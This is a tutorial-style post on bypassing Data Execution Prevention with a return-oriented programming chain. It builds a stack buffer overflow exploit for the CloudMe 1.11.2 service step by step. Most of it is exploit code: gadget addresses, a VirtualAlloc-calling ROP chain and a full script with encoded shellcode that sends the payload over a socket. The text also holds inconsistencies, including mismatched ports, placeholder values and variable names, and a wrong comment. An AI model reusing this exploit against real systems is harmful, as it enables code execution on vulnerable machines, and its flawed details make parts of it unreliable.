What is DEP?

Microsoft introduced Data Execution Prevention (DEP) in August 2004. It’s purpose was to protect memory pools from attacks such as buffer overflow by ensuring that memory permissions only consists of READ and WRITE. The reason this prevents buffer overflow attacks is because we need execution permission in the memory region to execute our shellcode.

Bypassing DEP

The Data Execution Prevention (DEP) security mechanism can be defeated using Return Oriented Programming (ROP) which consists of searching through the process to find addresses with instructions such as POP EAX; RET, POP EDX; RET, POP ECX; RET, and so forth…

Using ROP instructions we need to execute functions such as VirtualProtect and VirtualAlloc to change the stack permission from PAGE_READWRITE to PAGE_EXECUTE_READWRITE and that will allow us to execute our shellcode inside of the buffer.

Building a ROP Chain

I understand that building a ROP Chain seems complex but the best way to learn it is by building a ROP Chain. I’ll be going through building a ROP Chain for the CloudMe 1.11.2 application by changing the va_params values inside of the stack. An example I’ll be crafting a exploit which changes the 0x44444444 in va_params to VirtualAlloc address and 0x48484848 in va_params to MEM_COMMIT which is 0x1000 in hexadecimal and so forth to call the VirtualAlloc function.

Getting ROP Chains

We can obtain ROP Gadgets by using RP++. Here is the command to execute to obtain all the ROP Gadgets:

.\rp-win.exe --file="C:\Users\Student\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll" --rop=3 > Qt5Core-ROPs.txt

Baseline Code

#!/bin/python3
import struct
import socket
 
SERVER  = "127.0.0.1"
PORT    = 8888
 
if __name__ == "__main__":
	# VirtualAlloc Parameters
    va_params = b''
    va_params += struct.pack('<L', 0x45454545) # VirtualAlloc Address
    va_params += struct.pack('<L', 0x46464646) # Return Address
    va_params += struct.pack('<L', 0x47474747) # lpAddress
    va_params += struct.pack('<L', 0x48484848) # dwSize
    va_params += struct.pack('<L', 0x49494949) # flAllocationType
    va_params += struct.pack('<L', 0x50505050) # flProtect
    
    # ROP Chain
    rop_chain = b''
    
    # NOP Sleds
    nop_sled_start = b'\x90' * 130
    nop_sled_end = b'\x90' * 20
 
    # Shellcode
    shellcode = b''
 
    # Buffer with all payloads
    buffer = b'A' * (1052 - len(va_params))
    buffer += va_params
    buffer += ropchain
    buffer += nop_sled_start
    buffer += shellcode
    buffer += nop_sled_end
    buffer += b'C' * 2300

The CloudMe 1.11.2 has a service running at port 8080 which is vulnerable for buffer overflow when more than 2500 bytes are sent. I’ll be exploiting the vulnerability and build a custom ROP chain which changes the stack permission from PAGE_READWRITE to PAGE_EXECUTE_READWRITE.

VirtualAlloc

    # EDX = va_params(0x45454545)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffffe4) # 0n28
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
 
    # Getting VirtualAlloc address and writing it to stack location pointed by EDX 
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0x690398a0) # VirtualAlloc Address
    ropchain += struct.pack('<L', 0x68ae8a22) # MOV EAX, [EAX]; RET (0x8B 0xC3)
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)

Lines 1-10 locates va_params(0x4545454545) by retrieving the current stack address and substracting it with a offset 0x1C to reach the target value. Lines 12-16 resolves the address of VirtualAlloc by dereferencing the VirtualAlloc IAT entry in a module.

The va_params value is changed from 0x44444444 to 0x776ef660 which is the address of VirtualAlloc. We are now one step closer to finishing off our ROP chain.

Return Address

    # EDX = va_params(0x46464646)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffffb4) # 0n76
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
 
    # Incrementing EAX register (stack address) by 0x60 multiple of times
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
    ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
    ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
    ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)

Lines 1-10 locates va_params(0x46464646) by retrieving the current stack address and substracting it with the offset 0x4c to reach the target value. Lines 12-19 retrieves the stack address and increments it by the offset 0xC3 multiple of times to avoid returning to our ROP chain when VirtualAlloc is executed.

The va_params value changed from 0x45454545 to 0x00a3ac08 which is the location where the execution continue onto after the VirtualAlloc is executed.

lpAddress

    # EDX = va_params (0x4747474747)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffff78) # 0n136
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
 
    # Writing 999 to dwSize 
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
    ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
    ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
    ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)

Lines 1-10 locates va_params(0x47474747) by retrieving the stack address and substracting it with a offset of 0x88 to reach the target value. Lines 12-19 is used to perform the exact operations that were performed in the previous section.

The va_params value changed from 0x47474747 to 0x00a3ac08 which is the location where the memory region permission will be changed from PAGE_READWRITE to PAGE_EXECUTE_READWRITE.

dwSize

    # EDX = va_params (0x48484848)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffff3c) # 0n196
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
 
    # Writing 999 to dwSize 
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xfffff667) # 0n999
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)

Lines 1-10 locates va_params(0x48484848) by retrieving the current stack address and substracting it with the offset of 0xC4 to reach the target value. Lines 12-16 changes the EAX register value to 0xfffff667 and converts it to a positive number where it becomes 0x999 and writes that value to the va_params(0x48484848).

The va_params value is changed from 0x48484848 to 0x999 which is the total amount of bytes that will be changed from PAGE_READWRITE to PAGE_EXECUTE_READWRITE.

flAllocationType

    # EDX = va_params (0x49494949)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffff0c) # 0n244
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
 
    # Writing 0x1000 to 0x48484848
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xa4c74b09) # flAllocationType = 0x5B38C483 + a4c74b08 + 0x75
    ropchain += struct.pack('<L', 0x68aa346a) # ADC AL, 0x74; ADD EAX, 0x5B38C483; RET;
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)

Lines 1-10 locates va_params(0x49494949) by retrieving the current stack address and substracting it with a offset of 0xF4 to reach the target value. Lines 12-16 performs operations which changes the 0x5B38C483 value to 0x1000 and writes that to the 0x49494949 value in va_params.

The va_params value changed from 0x49494949 to 0x1000 which is used to define the type of memory allocation and that is MEM_COMMIT in our case which is required to change the permission from PAGE_READWRITE to PAGE_EXECUTE_READWRITE.

flProtect

    # EDX = va_params (0x50505050)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xfffffedc) # 0n292
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
 
    # Writing 0x40 to 0x50505050
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffffc0) # 0x40 (READ_WRITE_EXECUTE)
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)  
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)

Lines 1-10 locates the va_params(0x50505050) by retreiving the current stack address and substracting it with a offset of 0x124 to reach the target value. Lines 12-16 write a negative value 0xffffffc0 and converts it to a positive number 0x40 and that is written to the 0x50505050 value in va_params.

The va_params value is changed from 0x50505050 to 0x40. This means that the memory region permission will be PAGE_EXECUTE_READWRITE and that will enable the execution of shellcode.

JMPING

    # ESP = (ESP - 0x16C)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xfffffe94) # 0n364
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
 
    # Jumps to VirtualAlloc and executes it.
    ropchain += struct.pack('<L', 0x68a91b9c) # XCHG EAX, ESP; RET (0x94 0xC3)

Lines 1-9 locates the VirtualAlloc addresss inside of va_params. Line 12 changes the ESP register to the location where VirtualAlloc address is located at va_params and the ESP register from there executes the VirtualAlloc function with all the parameters that was defined with the ROP chains.

Full Exploit Code

To summarize I built a ROP chain using ROP gadgets from the Qt5Core.dll module. Using these gadgets the VirtualAlloc function was executed with the following setup.

VirtualAlloc(0x00a3ac08, 999, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Once the function is executed the memory region in the stack which will have the shellcode should be changed from PAGE_READWRITE to PAGE_READWRTIE_EXECUTE. Here is a complete overview of exploit code which uses ROP chain to change memory permissions (shellcode will only launch a calculator).

main.py
#!/bin/python3
import struct
import socket
 
SERVER  = "127.0.0.1"
PORT    = 8888
 
if __name__ == "__main__":
    # VirtualAlloc Parameters
    va_params = b''
    va_params += struct.pack('<L', 0x44444444) # VirtualAlloc Address
    va_params += struct.pack('<L', 0x46464646) # Return Address
    va_params += struct.pack('<L', 0x47474747) # Shellcode Address
    va_params += struct.pack('<L', 0x48484848) # dwSize
    va_params += struct.pack('<L', 0x49494949) # flAllocationType
    va_params += struct.pack('<L', 0x50505050) # flProtect
 
    # Building ROP Chains
    ropchain = b''
 
    # Handle VirtualAlloc Address
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffffe4) # 0n28
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0x690398a0) # VirtualAlloc Address
    ropchain += struct.pack('<L', 0x68ae8a22) # MOV EAX, [EAX]; RET (0x8B 0xC3)
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
 
    # Handle Return Address
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffffb4) # 0n76
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
    ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
    ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
    ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
 
    # Handle Shellcode Address
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffff78) # 0n136
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
    ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
    ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
    ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
 
    # Handle dwSize
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffff3c) # 0n196
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xfffff667) # 0n999
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
 
    # Handle flAllocationType
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffff0c) # 0n244
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xa4c74b09) # fflAllocationType = 0x5B38C483 + a4c74b08 + 0x75
    ropchain += struct.pack('<L', 0x68aa346a) # ADC AL, 0x74; ADD EAX, 0x5B38C483; RET;
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
 
    # Handle flProtect
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xfffffedc) # 0n292
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xffffffc0) # 0x40 (READ_WRITE_EXECUTE)
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)  
    ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
 
    # Handling Stack
    ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
    ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
    ropchain += struct.pack('<L', 0xfffffe94) # 0n364
    ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
    ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
    ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
    ropchain += struct.pack('<L', 0x68a91b9c) # XCHG EAX, ESP (0x94 0xC3)
 
    # Shellcode 
    shellcode =  b""
    shellcode += b"\xbb\x25\x25\xb9\xaa\xdb\xd4\xd9\x74\x24\xf4"
    shellcode += b"\x5f\x33\xc9\xb1\x31\x31\x5f\x13\x83\xef\xfc"
    shellcode += b"\x03\x5f\x2a\xc7\x4c\x56\xdc\x85\xaf\xa7\x1c"
    shellcode += b"\xea\x26\x42\x2d\x2a\x5c\x06\x1d\x9a\x16\x4a"
    shellcode += b"\x91\x51\x7a\x7f\x22\x17\x53\x70\x83\x92\x85"
    shellcode += b"\xbf\x14\x8e\xf6\xde\x96\xcd\x2a\x01\xa7\x1d"
    shellcode += b"\x3f\x40\xe0\x40\xb2\x10\xb9\x0f\x61\x85\xce"
    shellcode += b"\x5a\xba\x2e\x9c\x4b\xba\xd3\x54\x6d\xeb\x45"
    shellcode += b"\xef\x34\x2b\x67\x3c\x4d\x62\x7f\x21\x68\x3c"
    shellcode += b"\xf4\x91\x06\xbf\xdc\xe8\xe7\x6c\x21\xc5\x15"
    shellcode += b"\x6c\x65\xe1\xc5\x1b\x9f\x12\x7b\x1c\x64\x69"
    shellcode += b"\xa7\xa9\x7f\xc9\x2c\x09\xa4\xe8\xe1\xcc\x2f"
    shellcode += b"\xe6\x4e\x9a\x68\xea\x51\x4f\x03\x16\xd9\x6e"
    shellcode += b"\xc4\x9f\x99\x54\xc0\xc4\x7a\xf4\x51\xa0\x2d"
    shellcode += b"\x09\x81\x0b\x91\xaf\xc9\xa1\xc6\xdd\x93\xaf"
    shellcode += b"\x19\x53\xae\x9d\x1a\x6b\xb1\xb1\x72\x5a\x3a"
    shellcode += b"\x5e\x04\x63\xe9\x1b\xea\x81\x38\x51\x83\x1f"
    shellcode += b"\xa9\xd8\xce\x9f\x07\x1e\xf7\x23\xa2\xde\x0c"
    shellcode += b"\x3b\xc7\xdb\x49\xfb\x3b\x91\xc2\x6e\x3c\x06"
    shellcode += b"\xe2\xba\x5f\xc9\x70\x26\x8e\x6c\xf1\xcd\xce"
 
    # Buffer with all payloads
    buffer = b'A' * (1052 - len(va_params))
    buffer += va_params
    buffer += ropchain
    buffer += b'\x90' * 130
    buffer += shellcode
    buffer += b'\x90' * 20
    buffer += b'C' * 2300
 
    # Sending data to target
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((SERVER, PORT))
    s.send(buffer)
    s.close()

Conclusion

Understanding Return Oriented Programming (ROP) Chain can be difficult in the beginning but once you dive into it and start building your own ROP chain it becomes easier and easier. I would recommend thinking of the ROP chain as a way for us to call functions such as VirtualAlloc and VirtualProtect to change memory permission to execute our shellcode. If you want to exercise the things you learnt from this article I would recommend building a ROP chain using VirtualProtect.